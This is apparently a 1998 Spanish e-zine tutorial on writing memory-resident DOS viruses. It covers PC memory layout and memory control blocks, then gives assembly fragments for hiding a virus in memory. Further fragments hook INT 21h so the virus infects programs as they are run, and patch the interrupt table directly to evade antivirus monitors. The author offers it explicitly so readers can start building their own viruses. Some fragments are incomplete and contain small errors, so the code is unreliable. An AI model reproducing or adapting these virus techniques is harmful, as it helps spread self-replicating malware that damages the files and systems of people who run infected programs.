-[ 0x0C ]-------------------------------------------------------------------- -[ TUTORIAL PARA CREAR VIRUS TSR ]------------------------------------------- -[ by ThE_WiZArD ]----------------------------------------------------SET-16- .-------------------------------------------------------------. | | | ***** TUTORIAL PARA CREAR TUS VIRUS TSR ***** | | | | (c) ThE_WiZArD '98 | | | `-------------------------------------------------------------' En todas las e-zines de habla hispana (Saqueadores incluida) nos encontramos siempre con un gran vacio en el espacio que toda revista que se precie deberia dedicar a los virus informaticos o a lo sumo con un tutorial "demasiado simplon" sobre como crear virus runtime. Como esta muy mal eso de hablar y no hacer nada para evitarlo , aqui cedo este tutorial para empezar a crear virus TSR , es decir virus residentes en memoria. Enjoy it ! 1. VIRUS RESIDENTES EN MEMORIA ----------------------------- Sin duda los virus runtime ya no son muy comunes en estos dias de extrema sofistificacion dando ya hace tiempo el relevo a los virus TSR , estos son los virus que se quedan residentes en la memoria del ordenador y que deben interceptar alguna interrupcion de software para poder realizar sus acciones de copia , stealth, etc ... - Antes de nada y aunque se escapa un poco a los propositos de este texto veamos un poco la estructura de la memoria de un PC: Bloque Direccion Contenido -------- ----------- ----------- 15 F000:0000 - F000:FFFF BIOS-ROM 14 E000:0000 - E000:FFFF Libre para cartuchos ROM 13 D000:0000 - D000:FFFF Libre para cartuchos ROM 12 C000:0000 - C000:FFFF BIOS-ROM adicional 11 B000:0000 - B000:FFFF Video RAM 10 A000:0000 - A000:FFFF Video RAM adicional (EGA/VGA) 9 9000:0000 - 9000:FFFF RAM de 576 KB a 640 KB 8 8000:0000 - 8000:FFFF RAM de 512 KB a 576 KB 7 7000:0000 - 7000:FFFF RAM de 448 KB a 512 KB 6 6000:0000 - 6000:FFFF RAM de 384 KB a 448 KB 5 5000:0000 - 5000:FFFF RAM de 320 KB a 384 KB 4 4000:0000 - 4000:FFFF RAM de 256 KB a 320 KB 3 3000:0000 - 3000:FFFF RAM de 192 KB a 256 KB 2 2000:0000 - 2000:FFFF RAM de 128 KB a 192 KB 1 1000:0000 - 1000:FFFF RAM de 64 KB a 128 KB 0 0000:0000 - 0000:FFFF RAM de 0 KB a 64 KB Los primeros 10 segmentos estan reservados para la memoria principal RAM, quedando limitado su tama¤o a 640 KBytes.El segmento 0 tiene un papel muy importante ya que en el se incluyen datos y rutinas importantes para el Sistema Operativo. A la memoria RAM le sigue el segmento de memoria A, que se instala con una tarjeta grafica EGA/VGA.Sirve de memoria de la estructura de la pantalla en los diferentes modos graficos de estas tarjetas. El segmento de memoria B esta asignado a la tarjeta de video monocroma de MDA y Hercules asi como tambien a la tarjeta grafica de color CGA. Los segmentos de memoria detras de Video RAM no se cargaran con RAM , sino con ROM, siendo el segmento C el inicio. Los segmentos D y E estaban previstos originalmente para cartuchos ROM, como los que se utilizaban para los ordenadores domesticos y juegos de tele para la aportacion de software en el sistema.Nunca se han utilizado realmente, de manera que esta area se mantiene practicamente libre y hoy en dia se utiliza como RAM adicional o bien para la insercion de memoria EMS. Finalmente el bloque F contiene las rutinas del BIOS en si, el cargador original del sistema asi como tambien el ROM-BASIC que solo se conserva en los ordenadores viejos. 2.- EL MCB (Memory Control Block) --------------------------------- El DOS crea un bloque de control por cada bloque de memoria que use el programa, este bloque de control mide 16 bytes (un parrafo), siempre comienza en una direccion de offset divisible por 16, y precede inmediata- mente a la zona de memoria alojada. A pesar de que el DOS trabaja siempre con la direccion de segmento de la zona alojada en las funciones para la gestion de memoria, la direccion del segmento del MCB correspondiente se puede averiguar facilmente simplemente restando 1 de la direccion del segmento de la zona de memoria. ******************** * Formato del MCB * ******************** Direccion Contenido Tipo +00h ID 1 BYTE (Z= ultimo , M= hay mas) +01h Direccion del segmento del PSP asociado 1 WORD +03h N§ de parrafos en la zona de memoria alojada 1 WORD +05h No se usa 11 BYTES +10h La zona de memoria alojada x PARRAF 2.1.- USANDO EL DOS PARA MODIFICAR EL MCB --------------------------------------- En un .COM podemos encontrarnos en CS - 1 la direccion de este bloque. En el offset 3 del mismo esta la cantidad de memoria usada (alojada) por ese programa , entonces para poder dejar residente nuestro virus hay que restar- le a ese valor la longitud del virus, luego liberar la memoria que ya no se usa con la funcion 4AH de la INT 21h y asignarla a nuestro programa mediante la funcion 48h de la INT 21h. Para terminar, marcamos el MCB del segmento al que movimos nuestro virus con '8' en el offset 1, para que el DOS piense que es parte suya y no use esa memoria. En ese offset se coloca una marca, para identificar al bloque, para esta rutina se suele usar '8' porque es el que usa el DOS. El codigo que pongo a continuacion sirve para dejar un virus residente desde un fichero .COM , si deseamos hacerlo desde un .EXE hay que tener en cuenta que debemos restarle 1 a DS y no a CS. (CS <> DS en un .EXE) <++> set_016/virus/tsrcom.asm =============================================================================== ; Lo primero es pasar a un reg16 (en este caso AX) el Code Segment (PSP) , ; lo decrementamos y lo pasamos a ES para obterner la memoria reservada por ; el anfitrion. mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Aqui obtenemos la memoria mov ax, es:[3] ;utilizada. ; Ahora restamos a esa cantidad de memoria la cantidad de parrafos que ; ocupa el virus+1 (que previamente colocaremos en BX) ... ¨Porque mas 1? ; Porque en el momento en que tenemos que restarle un parrafo a la memoria : que queremos reservar estamos reservando un parrafo menos de virus tambien ; .... :) sub ax, bx ;En BX esta la longitud del virus, ;en parrafos. ; Ahora la cantidad de memoria a reservar esta en AX, lo salvamos y lo ; movemos a AX para despues llamar al servicio 4Ah (Liberar memoria Asignada) ; , que debemos llamar con BX, con el nuevo tama¤o y con el segmento en ES. push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah, 4ah int 21h ; Ahora asignamos la memoria liberada al virus, el segmento de la memoria ; asignada queda en AX.Decrementamos BX porque un parrafo lo va a usar el ; DOS. pop bx ;Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h ; Decrementamos AX , y lo pasamos a ES, de esta forma conseguimos apuntar ; al parrafo que usa el DOS como control, marcamos en el offset 1 un 8 para ; que el DOS lo considere como parte suya y no utilice esa memoria. ; Despues incrementamos AX otra vez y lo pasamos a ES, para que ES quede ; apuntando a la memoria que el virus usara. dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push cs ;CS=DS pop ds mov cx,Virus_Size ;Virus Size xor di,di ;DI=0 mov si,bp ;SI=Primer byte del virus rep movsb ;Vamos a memoria <--> 2.2.- MODIFICANDO EL MCB DIRECTAMENTE ------------------------------------ Mediante esta tecnica evitamos llamar al S.O para modificar el MCB, con lo que podemos saltarnos algunas protecciones antiviricas. Esta rutina sirve para virus infectores de .EXE ;) <++> set_016/virus/tsrexe.asm =============================================================================== ; Lo primero es pasar a un reg16 (en este caso AX) el Code Segment (PSP) , ; lo decrementamos y lo pasamos a ES para obterner la memoria reservada por ; el anfitrion. mov ax,ds ;DS=PSP dec ax mov ds,ax ;Ahora DS=MCB ; Esto es porque el MCB oculta un parrafo (16 bytes) delante del PSP. cmp ds:[0],'Z' ;Buscamos un Bloque Z porque es el jne Exit ;ultimo sub ds:[3],memory_we_want/16+1 ;El numero de parrafos de nuestro ;virus ; Ahora el DOS piensa que ha perdido esa memoria sub ds:[12h],memory_we_want/16+1 ;DS:[12h] ahora tiene el segmen- ;to donde pondremos el virus. mov ax,word ptr ds:[12h] mov es,ax ;ES=Direccion donde copiar el virus push cs pop ds ;DS=CS xor di,di mov si,bp ;SI=Comienzo del virus mov cx,Virus_Size ;Cantidad de bytes a mover. rep movsb ;Mueve CX bytes de DS:SI a ES:DI <--> 3.- INTERCEPTANDO INTERRUPCIONES -------------------------------- Bien, una vez nuestro virus esta en memoria es necesario "interceptar" alguna interrupcion para que este se active en algun momento y pueda realizar sus acciones. La tabla de interrupciones esta localizada en memoria desde la posicion 0000:0000 hasta la 0000:0400h (o 0040:0000), justo detras de la zona de Informacion de la BIOS.Consiste en 256 dobles palabras, representadas de forma SEGMENTO:OFFSET. Cuando una interrupcion es llamada ocurren estas dos cosas: 1- Los Flags se pulsan en el Stack. 2- Se realiza un FAR CALL al SEGMENTO:OFFSET que se haya en la tabla de interrupciones. El procesador busca en la tabla de interrupciones la direccion a llamar, asi el procesador busca en la tabla de interrupciones la direccion del handler de la Interrupcion XX (desde 0 hasta 255); el segmento es 0000h y el offset Numero_de_interrupcion * 4.La tabla de interrupciones esta colocada en el "Intel reverse double word format" , esto es , primero el OFFSET y luego el SEGMENTO. Para volver de una interrupcion, se usa la instruccion IRET. Esta instruc- cion realiza los pasos contrarios a los de arriba. Realiza un RETF para volver a la direccion anterior y un POPF para restaurar los flags. Cuando un programa "captura" una interrupcion, osea, la redirige hacia la suya propia , tienen que cambiar los datos de la tabla de interrupciones. Esto se puede hacer usando el DOS o modificandola directamente. 3.1.- USANDO EL DOS PARA MODIFICAR INTERRUPCIONES ----------------------------------------------- El DOS nos provee de dos llamadas que nos permiten hacer esto con suma facilidad, estas son la 35h y la 25h de la Interrupcion 21h. MOV AX,3521H ;Esta funcion nos devuelve el vector INT 21H ;de la INT 21h MOV CS:[Old_21h],ES ;en ES:BX MOV CS:[Old_21h+2],BX ;lo guardamos. MOV AX,2521h ;Situamos nueva INT 21h. MOV DX,OFFSET INT21_VIR ;Apuntando a nuestro HANDLE. INT 21H ... ... INT21_VIR: cmp ax,4b00h ;Esto es un ejemplo de una INT 21h virica. je Infectar ;que infectaria al ejecutar los files. ... ... EXIT_INT: db 0eah ;0eAh = JMP FAR (salto largo) Old_21 dw ?,? ;Direcion de la Antigua INT 21h 3.2.- EVITANDO EL DOS PARA MODIFICAR INTERRUPCIONES ------------------------------------------------- Bien, yo soy mas partidario de modificar las interrupciones de esta forma ya que nos permite pasar mas desapercibidos ante los AV`s y demas protec- tores residentes. Ojo, que es muy importante hacerlo de esta manera si queremos infectar el fichero COMMAND.COM , no podremos usar las funciones 35h y 25h de la int 21h si el interprete de comandos aun no ha sido cargado !! Debes tener el cuidado de INHABILITAR las interrupciones antes de modificar la INT y HABILITARLAS despues, sino, la interrupcion podria ser llamada mientras se esta modificando ... con resultados desastrosos 8-) Esto podria ser algo asi: xor ax,ax mov es,ax ;ES= 0 mov ax,es:[21*4] ;ax=es:[84] mov WORD PTR cs:[Old_21h],ax ;Guardamos el segmento mov ax,es:[21*4+2] ;ax=es:[86] mov WORD PTR cs:[Old_21h],ax ;Guardamos el offset cli ;Inhabilita INTs mov WORD PTR es:[21*4],OFFSET INT21_VIR ;Situamos nuestra INT 21h mov es:[21*4+2],cs sti ;Habilita INTs 3.3.- CONSEJOS A TENER EN CUENTA EN TU VIRUS TSR ---------------------------------------------- A) Asegurate de GUARDAR/RESTAURAR (push/pop) todos los registros que vayas a usar y que por lo tanto cambien.(Tambien puedes salvar los flags) B) Asegurate de que en tu handle no llamas a una funcion que ya ha sido intercepatada, esto es, si tu quieres que tu virus infecte al cambiar atributos AH=43h , y luego quieres borrarle los atributos del fichero a infectar , NO PUEDES llamar a 43h para cambiar los atributos ¨logico no ? .. tendras que hacer una llamada FALSA a la interrupcion en cuestion, por ejemplo : mov ax,4300h call Call_Int_21h ... Call_Int_21h: pushf ;Salvamos los flags y hacemos call dword ptr [Int_21_Offset] ;un Far Call para simular popf ;una llamada a la Interrupcion . ret 4.- CONCLUSION --------------- Bien, supongo que esto es suficiente para empezar a crear algun que otro virus "interesante", si teneis alguna duda o quereis poneros en contacto conmigo usad mi clave publica de PGP incluida en la revista ThE_WiZArD wizard555@hotmail.com -= Information is the greatest weapon of power to the modern wizard =-